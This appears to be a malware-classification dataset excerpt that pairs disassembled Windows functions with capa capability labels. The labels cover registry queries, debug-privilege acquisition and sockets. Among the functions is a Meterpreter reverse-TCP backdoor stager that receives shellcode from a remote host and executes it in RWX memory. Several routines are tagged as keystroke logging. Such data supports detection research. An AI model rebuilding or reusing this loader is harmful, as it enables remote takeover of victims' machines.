joyce8/EMBER2024-capa huggingface dataset:
Function at 0xe3af10
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0xe4f9fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, dword [esp + 0x2c]
xor ebp, ebp
mov dword [esp + 0x10], eax
xor ebx, ebx
mov eax, 1
mov ecx, ebx
shl eax, cl
mov ecx, dword [esp + 0x10]
test ecx, eax
je 0xe3b002
lea edx, [ebx + 0x41]
lea eax, [esp + 0x14]
push edx
push str._c:_
push eax
call fcn.00e3edff
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0xe3b002
lea edx, [esp + 0x14]
push edx
push str.Mounting__s_n
call fcn.00e366e0
lea eax, [esp + 0x1c]
lea edi, [esi + 0x1048]
push eax
push edi
mov word [esp + 0x28], bp
call fcn.00e3f20b
push 0x10
call fcn.00e3f1d3
add esp, 0x14
mov dword [esp + 0x2c], eax
cmp eax, ebp
mov dword [esp + 0x24], ebp
je 0xe3afc5
mov cx, word [edi]
push ecx
mov ecx, eax
call fcn.00e2b1c0
jmp 0xe3afc7
xor eax, eax
push esi
mov dword [esp + 0x28], 0xffffffff
mov dword [esi], eax
call fcn.00e3ab80
mov edi, dword [esi]
add esp, 4
cmp edi, ebp
je 0xe3aff0
mov ecx, edi
call fcn.00e2b2c0
push edi
call fcn.00e3f1c8
add esp, 4
mov edx, dword [esi + 0x1024]
push ebp
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0xe3b021
inc ebx
cmp ebx, 0x20
jb 0xe3af3e
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0xe3c250
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xe50808
push 0xe40288
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], ebx
xor esi, esi
mov dword [ebp - 0x20], esi
mov byte [ebp - 0x24], bl
mov dword [ebp - 4], ebx
mov byte [ebp - 0x34], bl
mov byte [ebp - 0x33], bl
mov byte [ebp - 0x32], bl
mov byte [ebp - 0x31], bl
mov byte [ebp - 0x30], bl
mov byte [ebp - 0x2f], 5
lea eax, [ebp - 0x1c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x12
push 1
lea ecx, [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0xe3c329
lea edx, [ebp - 0x28]
push edx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0xe3c329
mov dword [ebp - 0x2c], ebx
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
push 1
mov ecx, dword [ebp - 0x28]
push ecx
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call edi
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00e3f1d3
add esp, 4
mov esi, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x20], esi
cmp esi, ebx
je 0xe3c329
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
push esi
push 1
mov edx, dword [ebp - 0x28]
push edx
call edi
test eax, eax
je 0xe3c329
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [esi]
push ecx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x24], al
jmp 0xe3c32c
mov al, byte [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call fcn.00e3c351
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xe3cd20
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 4]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xe3cd58
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esi], ecx
mov dword [esi + 4], edx
pop esi
pop ecx
ret 0x10

Function at 0xe3cd60
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xe3cd94
mov eax, dword [esp + 0x14]
test eax, eax
je 0xe3cd94
push eax
push esi
call fcn.00e3f20b
add esp, 8
pop esi
ret 0x10

Function at 0xe3cda0
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x24
lea eax, [esp + 0x28]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xe3ce22
push ebx
mov ebx, dword [esp + 0x30]
push esi
xor esi, esi
test ebx, ebx
jbe 0xe3ce15
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov edi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x18]
push 0xe55320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00e3edff
mov ecx, dword [esp + 0x44]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push edi
push 0
push 0
push eax
push ecx
call ebp
inc esi
add edi, 4
cmp esi, ebx
jb 0xe3cdda
pop edi
pop ebp
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
add esp, 0x24
ret 0xc

Function at 0xe3ce30
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x28
lea eax, [esp + 0x2c]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xe3cec2
push ebp
mov ebp, dword [esp + 0x34]
push esi
xor esi, esi
test ebp, ebp
jbe 0xe3ceb5
push ebx
mov ebx, dword [esp + 0x40]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
lea ecx, [esp + 0x1c]
push 0xe55320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00e3edff
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x40]
push eax
push 0
push 0
push ecx
push edx
call edi
test eax, eax
jne 0xe3ceab
mov ax, word [esp + 0x14]
mov word [ebx], ax
inc esi
add ebx, 2
cmp esi, ebp
jb 0xe3ce6a
pop edi
pop ebx
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
add esp, 0x28
ret 0xc
Function at 0xe3d000
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0xe3d131
push esi
call fcn.00e40145
add esp, 4
mov edi, eax
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call fcn.00e2f080
mov ebp, eax
add esp, 0x1c
cmp ebp, 0xffffffff
je 0xe3d131
push 0
push ebp
call fcn.00e2f3a0
push 0
push 0
push 0
push 4
push 0
push ebp
mov ebx, eax
call fcn.00e2f260
add esp, 0x20
mov dword [esp + 0x18], eax
test eax, eax
jne 0xe3d08b
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
push 0
push 0
push 6
push eax
call fcn.00e2f2f0
mov esi, eax
add esp, 0x14
test esi, esi
je 0xe3d121
push 0xe55918
push edi
call fcn.00e3e3f0
push eax
push ebx
push esi
call fcn.00e3cf60
push 0xe558f8
push edi
call fcn.00e3e3f0
push eax
push ebx
push esi
call fcn.00e3cf60
push 0xe558d8
push edi
call fcn.00e3e3f0
push eax
push ebx
push esi
call fcn.00e3cf60
push 0xe558c0
push edi
call fcn.00e3e3f0
add esp, 0x44
push eax
push ebx
push esi
call fcn.00e3cf60
push 0xe558a0
push edi
call fcn.00e3e3f0
push eax
push ebx
push esi
call fcn.00e3cf60
push 0xe55888
push edi
call fcn.00e3e3f0
push eax
push ebx
push esi
call fcn.00e3cf60
add esp, 0x34
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0xe3e1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00e3e140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00e3e140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00e3e140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00e3e140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xe3ebfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xe3ec50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xe5087c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xe3ec43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xe3ec52
xor eax, eax
pop esi
leave
ret 4
Function at 0x401354
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 0x10]
jge 0x4013c5
mov dword [esp + 0xc], 0
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 0x10]
sub eax, edx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.WS2_32.DLL_recv
sub esp, 0x10
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
lea eax, [ebp - 0xc]
add dword [eax], edx
mov edx, dword [ebp - 4]
lea eax, [ebp - 8]
add dword [eax], edx
cmp dword [ebp - 4], 0xffffffff
jne 0x40136e
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040132f
jmp 0x40136e
mov eax, dword [ebp - 8]
leave
ret

Function at 0x4013ca
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.DLL_socket
sub esp, 0xc
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], 0
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.Ip:_s_n
call sub.msvcrt.dll_printf
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.Port:_s_n
call sub.msvcrt.dll_printf
cmp dword [ebp - 0x2c], 0xffffffff
jne 0x40143c
mov dword [esp], str.Socket_fail._n
call sub.msvcrt.dll_printf
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call fcn.0040132f
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.WS2_32.DLL_gethostbyname
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40146a
mov dword [esp], str.Host_fail._n
call sub.msvcrt.dll_printf
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call fcn.0040132f
mov eax, dword [ebp - 0xc]
movsx eax, word [eax + 0xa]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [esp + 4], eax
lea eax, [ebp - 0x28]
add eax, 4
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov word [ebp - 0x28], 2
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
movzx eax, ax
mov dword [esp], eax
call sub.WS2_32.DLL_htons
sub esp, 4
mov word [ebp - 0x26], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sub.WS2_32.DLL_connect
sub esp, 0xc
test eax, eax
je 0x4014ea
mov dword [esp], str.connect_to_server_Fail._n
call sub.msvcrt.dll_printf
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call fcn.0040132f
mov dword [esp], str.connect_to_server_Success._n
call sub.msvcrt.dll_printf
mov eax, dword [ebp - 0x2c]
leave
ret
Function at 0x4014fb
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
and esp, 0xfffffff0
mov eax, 0
add eax, 0xf
add eax, 0xf
shr eax, 4
shl eax, 4
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
call fcn.00401bc0
call fcn.00401740
mov dword [esp], str.Meterpreter_Reverse_Tcp_BackDoor___By:Black_n
call sub.msvcrt.dll_puts
cmp dword [ebp + 8], 3
je 0x40155f
mov dword [esp], str.Usage:_Metdoor.exe_Ip_Port_nExample:_Metdoor.exe_192.168.1.110_5511
call sub.msvcrt.dll_puts
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x20
mov dword [esp], eax
call sub.msvcrt.dll_fflush
mov dword [esp], 0
call sub.KERNEL32.dll_ExitProcess
call fcn.004012f0
mov eax, dword [ebp + 0xc]
add eax, 8
mov eax, dword [eax]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
add eax, 4
mov eax, dword [eax]
mov dword [esp], eax
call fcn.004013ca
mov dword [ebp - 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
lea eax, [ebp - 4]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.WS2_32.DLL_recv
sub esp, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jne 0x4015b7
cmp dword [ebp - 4], 0
jne 0x4015ce
mov dword [esp], str.recv_Error_n
call sub.msvcrt.dll_printf
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.0040132f
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov eax, dword [ebp - 4]
add eax, 5
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.KERNEL32.dll_VirtualAlloc
sub esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401617
mov dword [esp], str.payload_Null_n
call sub.msvcrt.dll_printf
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.0040132f
mov eax, dword [ebp - 8]
mov byte [eax], 0xbf
mov dword [esp + 8], 4
lea eax, [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 8]
inc eax
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 4]
mov dword [esp + 8], eax
mov eax, dword [ebp - 8]
add eax, 5
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00401354
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
call eax
mov eax, 0
leave
ret
Function at 0x10001000
Capabilities:
Log keystrokes

Disassembly:
mov eax, dword [0x397e8dc]
mov ecx, dword [eax + 0x1c]
mov edx, dword [ecx + 0x14]
mov eax, dword [edx + 0x3d0]
add eax, 4
mov al, byte [eax]
push esi
push edi
cmp al, 1
jne 0x10001051
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x23
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x23
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x23
call esi
push eax
push 0x23
call edi
pop edi
pop esi
ret
cmp al, 2
jne 0x1000108a
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x28
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x28
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x28
call esi
push eax
push 0x28
call edi
pop edi
pop esi
ret
cmp al, 3
jne 0x100010c3
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x22
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x22
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x22
call esi
push eax
push 0x22
call edi
pop edi
pop esi
ret
cmp al, 4
jne 0x100010fc
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x25
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x25
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x25
call esi
push eax
push 0x25
call edi
pop edi
pop esi
ret
cmp al, 5
jne 0x10001135
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0xc
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0xc
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0xc
call esi
push eax
push 0xc
call edi
pop edi
pop esi
ret
cmp al, 6
jne 0x1000116e
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x27
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x27
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x27
call esi
push eax
push 0x27
call edi
pop edi
pop esi
ret
cmp al, 7
jne 0x100011a7
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x24
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x24
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x24
call esi
push eax
push 0x24
call edi
pop edi
pop esi
ret
cmp al, 8
jne 0x100011e0
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x26
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x26
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x26
call esi
push eax
push 0x26
call edi
pop edi
pop esi
ret
cmp al, 9
jne 0x10001216
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x21
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x21
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x21
call esi
push eax
push 0x21
call edi
pop edi
pop esi
ret
Function at 0x10001220
Capabilities:
Log keystrokes

Disassembly:
mov eax, dword [0x397e8dc]
mov ecx, dword [eax + 0x1c]
mov edx, dword [ecx + 0x14]
mov eax, dword [edx + 0x3d0]
add eax, 8
mov al, byte [eax]
push esi
push edi
cmp al, 1
jne 0x10001271
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x23
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x23
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x23
call esi
push eax
push 0x23
call edi
pop edi
pop esi
ret
cmp al, 2
jne 0x100012aa
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x28
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x28
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x28
call esi
push eax
push 0x28
call edi
pop edi
pop esi
ret
cmp al, 3
jne 0x100012e3
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x22
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x22
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x22
call esi
push eax
push 0x22
call edi
pop edi
pop esi
ret
cmp al, 4
jne 0x1000131c
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x25
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x25
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x25
call esi
push eax
push 0x25
call edi
pop edi
pop esi
ret
cmp al, 5
jne 0x10001355
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0xc
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0xc
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0xc
call esi
push eax
push 0xc
call edi
pop edi
pop esi
ret
cmp al, 6
jne 0x1000138e
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x27
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x27
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x27
call esi
push eax
push 0x27
call edi
pop edi
pop esi
ret
cmp al, 7
jne 0x100013c7
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x24
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x24
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x24
call esi
push eax
push 0x24
call edi
pop edi
pop esi
ret
cmp al, 8
jne 0x10001400
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x26
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x26
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x26
call esi
push eax
push 0x26
call edi
pop edi
pop esi
ret
cmp al, 9
jne 0x10001436
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x21
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x21
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x21
call esi
push eax
push 0x21
call edi
pop edi
pop esi
ret
Function at 0x10001440
Capabilities:
Log keystrokes

Disassembly:
mov eax, dword [0x397e8dc]
mov ecx, dword [eax + 0x1c]
mov edx, dword [ecx + 0x14]
mov eax, dword [edx + 0x3d0]
add eax, 0xc
mov al, byte [eax]
push esi
push edi
cmp al, 1
jne 0x10001491
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x23
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x23
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x23
call esi
push eax
push 0x23
call edi
pop edi
pop esi
ret
cmp al, 2
jne 0x100014ca
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x28
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x28
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x28
call esi
push eax
push 0x28
call edi
pop edi
pop esi
ret
cmp al, 3
jne 0x10001503
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x22
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x22
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x22
call esi
push eax
push 0x22
call edi
pop edi
pop esi
ret
cmp al, 4
jne 0x1000153c
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x25
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x25
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x25
call esi
push eax
push 0x25
call edi
pop edi
pop esi
ret
cmp al, 5
jne 0x10001575
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0xc
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0xc
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0xc
call esi
push eax
push 0xc
call edi
pop edi
pop esi
ret
cmp al, 6
jne 0x100015ae
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x27
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x27
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x27
call esi
push eax
push 0x27
call edi
pop edi
pop esi
ret
cmp al, 7
jne 0x100015e7
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x24
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x24
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x24
call esi
push eax
push 0x24
call edi
pop edi
pop esi
ret
cmp al, 8
jne 0x10001620
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x26
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x26
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x26
call esi
push eax
push 0x26
call edi
pop edi
pop esi
ret
cmp al, 9
jne 0x10001656
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x21
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x21
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 0
push 0x21
call esi
push eax
push 0x21
call edi
pop edi
pop esi
ret